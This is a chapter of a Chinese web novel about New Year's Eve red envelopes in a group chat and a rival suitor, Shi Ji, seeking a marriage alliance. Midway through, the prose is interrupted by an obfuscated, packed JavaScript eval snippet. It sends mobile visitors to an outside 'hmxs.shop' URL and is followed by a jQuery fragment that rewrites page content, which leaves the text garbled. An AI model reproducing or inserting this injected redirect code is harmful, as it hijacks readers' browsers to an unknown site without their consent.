当天回去补完觉后,易耳打开朋友圈就看到了安皓白发的。
文案只有一个字——雪。
配图除了安皓白这几天给她拍的,竟然还带上了之前她在教室窗户边的那一张。两人的合照放在了最中间,而后用风景照凑够了九宫格。
易耳不得不承认,安皓白的拍照技术出奇得好。
再往下,她看到了沈鸣和应照离两人的点赞。
应照离还评论了一句:【怎么不带上我?】
安皓白没回他。
易耳加的人不多,其他的共友比较少。
她没再看。
两人玩够了回家。
易耳每天照常记背,需要日常积累的学科都不落下。安皓白偶尔问她去不去哪玩,但临近过年,他也歇了下来。
很快就到了除夕夜。
易耳没想到,自己能在这个时候看到时祭。
易家和安家关系好,除夕夜时经常两家凑在一起过。
但是时祭……?
安皓白根本没管这个陌生人。
逢年过节,他只当是哪边没见过的亲戚。
他叫易耳坐到他旁边的沙发上,拉着易耳进了一个群聊。
易耳刚进去,就看到安皓白发了句话:【列阵!欢迎!】
她还没反应过来,就看到一堆消息刷了出来。
【南啊南啊南:欢迎欢迎!热烈欢迎!】
【南啊南啊南:[撒花][撒花][撒花]】
【木山支:欢迎欢迎!热烈欢迎!】
【木山支:[撒花][撒花][撒花]】
【J:[撒花][撒花][撒花]】
【南啊南啊南:少了一句啊!章景你怎么破坏队形】
【应照离:……】
【沈鸣:欢迎。】
易耳有应照离和沈鸣的好友,刚好期末那阵子给他俩备注了一下。
她回:【谢谢】
她看了眼群成员,包括她在内就七个人。
安皓白在她旁边笑:“绵绵姐,分得清谁是谁吗?”
易耳沉默了一下:“名字都挺明显的。”
安皓白哈哈笑出了声。
他说:“韩记南他们要在群里发红包,我拉你进来抢一下。”
易耳寻思着,自己现在看着也不缺钱了吧。
但她没说什么。
没多久,韩记南就在群里发了个红包。
安皓白秒抢,抢完还不忘说:“绵绵姐,每个人都有份的,快抢快抢。”
易耳点进去的时候,刚好是最后一个。
她看了一眼其他人的情况,当即笑出声来。
200的红包,沈鸣只抢到了0.22。
群里韩记南也没忍住。
【南啊南啊南:@S怎么了?你寒假也晒黑了?这么非】
【沈鸣:……】
下一秒,应照离也发了个红包出来。
几秒后。
【应照离:@S最近别动需要运气的东西。】
【沈鸣:……】
易耳又看了眼。
200的红包,沈鸣抢了2.87。
章景看不下去:【你们别欺负我沈哥了,人家运气差也能选择题全对】
【南啊南啊南:……?】
【木山支:无意被中伤】
【安皓白:喜庆日子净说些难听的话】
易耳笑出声来。
安皓白抬头看了她一眼,见她笑,嘴角也扬了扬。
易耳疑惑了很久,终于找到机会问出来:【你们为什么都叫他沈哥啊?】
【南啊南啊南:因为他厉害呀】
【木山支:被智商碾压过】
【南啊南啊南:只有智商吗?】
【J:叫他沈哥,他就会教我做题目】
【沈鸣:……不叫也会教】
易耳没想到只是这么一个简单的理由。
快要到吃饭时间,她想了想,直接往群里给每人发了个两百的专属红包。
群里沉寂一秒之后。
【南啊南啊南:姐!易姐!你以后就是我唯一的姐!】
【木山支:感谢易姐!】
【J:感谢易姐】
【应照离:感谢易姐】
【沈鸣:谢谢.JPG】
韩记南又开始在群里说沈鸣不厚道,连姐姐都不愿意叫。
易耳没再看。她收起手机,一边起身一边说着:“好像快好了,咱们坐过去吧。”
安皓白犹豫了两秒,特意解释了句:“绵绵姐,我拉你进群不是让你破费的。”
“我知道呀。我愿意发的。”
易耳当然知道安皓白的心思。
但她觉得自己都活过一世了,自认为是长辈,多发点也是应该的。
她不在意这些,转身就往厨房走去,看看有没有自己能够帮上门的地方。
安皓白停在原地,纠结了一会儿。
刚迈开步子,就被人拦了下来。
他抬头一看,发现是前一会儿看到的那个生面孔。
时祭问:“你和易大小姐关系很好吗?”
这么生疏的称呼。
安皓白警惕地看着他:“你是谁?打听这个干什么?”
“放轻松。”
时祭挑了挑眉,“我都来这里过除夕了,不会是什么坏人的。”
不见得。
安皓白没说话。
时祭想安皓白给自己当僚机。
毕竟他刚刚观望了很久。他看得出来两人关系很好。
“要不然,我和你加个好友?”
时祭笑道,“加个好友总没有什么吧?而且待会儿吃饭你就知道我是什么人了。”
安皓白想了想,伸出手机来。
时祭如愿加上好友,顺手就点进了安皓白的朋友圈。
但他没想到,安皓白朋友圈里有这么多易耳的美照。
指尖顿了顿,时祭看向安皓白:“你喜欢易大小姐?”
“当然。”
说起易耳,安皓白的话就滔滔不绝,“她的性格好,相貌好,哪哪都好,喜欢她不是很正常吗?不喜欢她才……”
时祭听着听着,琢磨出不对劲来,打断他的话:“你说的是哪种喜欢?”
安皓白一愣。
他眨了眨眼,狗狗眼里有些许茫然:“喜欢还有区别吗?”
“当然有啊。”
时祭心想着,这小孩竟然这么迟钝还没开窍。
刚想要提点几句,便想起了刚刚安皓白提起易耳时亮晶晶的眼睛,他到嘴边的话便顿住了。
迟疑了一会儿,他只是问:“你想不想要易大小姐过得幸福?”
毫无疑问的问题。
安皓白不带犹豫地点头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053752|193826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我好像听你叫她绵绵姐,既然是你姐姐,你可要擦亮眼睛,为她好好挑选一个合适的姐夫。”
时祭笑了一下,不给安皓白反应的时间,又问,“你觉得我怎么样?”
安皓白愣了好一会儿,才吞吞吐吐道:“绵绵姐年纪还小……”
什么姐夫。
绵绵姐还是高中生,就要选择姐夫了吗?
“年少时培养出来的感情最为珍贵,也没那么多利益牵扯,最是纯粹。”
时祭看着他,道,“现在我喜欢她,想追求她,不掺杂其他的。可等她长大了之后认识的人,多是豺狼虎豹,他们几乎都在计较利益,只想从易大小姐身上获得他们想要的东西。”
“难道你想看到她被人利用完就被人抛弃吗?”
他说得好听。
但实际上,他也是为了易家的利益而来。
与易家联姻,是他给自己立下的目标。有了易家的助力,他才能在时家那一群人手底下获得继承人的位置。
时祭拍了拍安皓白的肩膀:“你好好想想吧。”
他观望了一下其他人,道,“除夕夜,吃饭去咯。”
他离开了。
安皓白却停在原地许久。
直到听见易耳的呼唤,他才像是回过神来,朝着饭桌走去。
丰盛的年夜饭却没了往日的滋味。
安皓白听着易岱介绍时祭:“这是时家老七,叫做时祭……”
时家。
安皓白好像听他爸爸说起过。
西城时家,家主私生活混乱,私生子众多,为了争财产争得头破血流。
时家在西城的地位和易家在南城的地位是一样的。两家也有合作。
其他的,他就不知道了。
当时爸爸只是笑着说:“虽然我没给你生其他兄弟姐妹,让你少了陪伴,但我可没让你从小就担心财产问题。”
下意识地,安皓白比较了一番。
他家在南城的地位比易家略低些,那是不是……比时家也要低一些?
不知为何,他心里有些不爽快。
这顿饭吃得味如嚼蜡。
安皓白什么都听不进去,又忍不住将目光放在易耳身上。
易耳总觉得他在盯着自己发呆,问他:“怎么了?”
他摇了摇头,只说:“没事。”
热闹的年夜饭结束,他坐着爸爸的车回家。
途中,他忍不住问:“爸爸,你觉得时祭这个人怎么样?”
安客诧异地从后视镜看了他一眼。
许是没想到平时没心没肺、没头没脑的儿子突然有了这样的问题。
想了想之后,安客说:“在时家这么多孩子里,他算得上是出色的。”
还有句话他没说——也算得上是有心机的。
商人当然心机些好。
平心而论,安客欣赏时祭。因为时祭惯会伺机而动,会抓住一切机会。
安皓白没再说话了。
他回家之后便直接回了自己房间。
发呆许久,他拿出手机,点开了自己的相册。
最近拍摄的照片几乎都是易耳的。
他比任何人都期盼易耳成为世界上最幸福的人。
可私心里,他又不希望她属于任何一个人。
时祭说的那些话仿佛砸在他的心头。光是想想,他就觉得喘不过气来。